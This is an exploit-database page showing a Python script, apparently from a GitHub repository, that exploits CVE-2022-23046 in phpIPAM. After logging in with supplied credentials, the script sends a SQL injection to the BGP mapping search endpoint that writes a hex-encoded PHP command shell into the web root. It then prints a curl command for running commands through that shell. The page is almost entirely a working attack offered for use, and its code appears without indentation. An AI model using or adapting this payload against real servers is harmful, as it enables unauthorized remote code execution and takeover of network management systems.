Exploit databaseDownload repository ZIP
GH-791549cbfc9885d6d6890977453867e1
bernauers/cve-2022-23046
Sources for CVE-2022-23046
4 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
bernauers/cve-2022-23046Revision 6d390932b603
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
cve_2022-23046.py
Python · 2,415 bytes#!/usr/bin/env python3
# Tinker script to exploit CVE-2022-23046
# The one located on exploit DB did not work for me. Located here https://www.exploit-db.com/exploits/50684
import requests
import sys
import bs4
if len(sys.argv) < 3:
print("example:\ncve_2022-23046.py <IP> <USERNAME> <PASS>")
quit()
else:
target = sys.argv[1]
un = sys.argv[2]
pw = sys.argv[3]
print("target = " + target)
print("un = "+ un)
print("pw = "+ pw)
def login ():
url = f"http://{target}/app/login/login_check.php"
try:
s = requests.post(url, verify=False, timeout=10, headers={"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}, data={"ipamusername":un, "ipampassword":pw})
print(s.content)
headers = s.headers['Set-Cookie']
headers_string = headers.split(';') #split all the headers into strings. Our cookie is in here somewhere
#lets get it out and format it.
#print(headers_string)
for i in headers_string:
if "phpipam" in i and "," in i:
cookie = i.strip(',').lstrip() #remove , and spaces from the cookie
return cookie
except Exception as e:
print (f"[-]{e}")
def exploit():
cookie = login()
print(cookie+"\n")
path = f"http://{target}/app/admin/routing/edit-bgp-mapping-search.php"
data = {
"subnet":'pwn" Union Select 1,0x201c3c3f7068702073797374656d28245f4745545b2018636d6420195d293b203f3e201d,3,4 INTO OUTFILE "/var/www/html/shell.php" -- -',
#Can use the below line to test the sqli if the upload shell doesn't work.
#"subnet":'pwn" union select @@version,2,user(),4 -- -',
"bgp_id":1
}
headers = {
"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Cookie": cookie
}
try:
r = requests.post(path, verify=False, timeout=10, headers=headers, data=data)
r_data = bs4.BeautifulSoup(r.text, "lxml")
print(r_data)
print("\n[+] Run the following command to verify")
print("[+] curl <IP>/shell.php\?cmd\=whoami")
except Exception as e:
print(f"[-] {e}")
if __name__ == '__main__':
exploit()